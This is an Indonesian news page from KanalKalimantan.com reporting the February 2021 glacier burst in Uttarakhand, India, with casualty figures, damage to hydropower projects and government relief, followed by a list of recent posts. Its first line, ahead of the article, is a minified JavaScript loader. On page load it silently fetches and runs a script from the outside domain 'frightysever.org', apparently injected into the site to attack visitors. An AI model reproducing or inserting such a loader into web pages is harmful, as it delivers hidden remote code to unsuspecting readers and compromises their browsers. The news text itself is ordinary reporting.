(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
INTERNASIONAL

Sebuah Gletser di Pegunungan India Pecah, 7 Orang Tewas dan 170 Hilang


KANALKALIMANTAN.COM, INDIA – Setidaknya 7 orang meninggal dunia dan lebih dari 100 hilang ketika sebuah gletser di pegunungan yang terletak di negara bagian Uttarakhand India pecah.

Menyadur Times Of India, Senin (8/2/2021) insiden pecahnya gletser yang terletak di dekat desa Raini daerah Tapovan distrik Chamoli terjadi pada Minggu pagi waktu setempat.

Setidaknya 170 orang dilaporkan hilang dalam bencana yang baru terjadi sejak tragedi Kedarnath 2013 yang memicu kerusakan besar.

Pada malam hari, tujuh mayat pria ditemukan, tetapi tidak ada yang bisa mengatakan berapa banyak yang tewas dalam bencana tersebut.

Proyek pembangkit listrik tenaga air Rishiganga 13,2 MW di dekat Jashimath juga hanyut terseret arus air yang deras.

Proyek pembangkit listrik tenaga air 520 MW NTPC di sungai Dhauliganga dekat Raini juga mengalami kerusakan.

Akibat bencana tersebut, lima jembatan terkena dampak gelombang air yang mengalir sehingga memutus akses ke sejumlah desa di daerah tersebut.

Pusat Operasi Darurat Negara mengatakan, dari orang-orang yang hilang, 148 orang berada di pembangkit listrik tenaga air NTPC sedangkan 22 orang berada di proyek Vishnugad. Kebanyakan dari mereka diyakini sebagai pekerja yang terlibat dalam proyek pembangkit listrik tenaga air.

“Ketinggian air maksimum di bendungan Tapovan adalah 1.803 meter, tetapi sesuai laporan awal, ketinggian air melewati 1808 meter, menyebabkan kerusakan,” kata Piyoosh Rautela, direktur eksekutif pusat mitigasi dan manajemen bencana negara bagian (DMMC).

“Pada pukul 11 pagi, ketinggian air yang tercatat di Joshimath adalah 1.388 meter,” kata Saumitra Haldar, ketua Komisi Air Pusat.

Kepala menteri Trivendra Rawat, yang melakukan survei melalui udara dan mengunjungi daerah dekat lokasi bencana, mengumumkan bantuan 400.000 rupee kepada kerabat terdekat dari mereka yang tewas.

Perdana Menteri Narendra Modi juga mengumumkan bantuan sebesar 200.000 rupee akan diberikan kepada keluarga korban.

Satu tim yang terdiri dari 100 personel Angkatan Darat, termasuk dari satuan tugas teknik, dan 250 personel dari batalion 1 ITBP akan diterjunkan untuk proses operasi penyelamatan.

Pejabat yang memantau situasi mengatakan bahwa aliran air di sungai Alaknanda secara bertahap stabil, namun tetap mengimbau kepada warga harus waspada.

Sebelumnya, sebagai tindakan pencegahan, aliran sungai Bhagirathi dihentikan dan waduk GVK di Srinagar dan bendungan Veer Bhadra di Rishikesh dikosongkan.(Suara)

Editor : Suara

 

 

 


Al Ghifari

Recent Posts

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

50 menit ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

1 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

5 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

16 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

18 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

18 jam ago

This website uses cookies.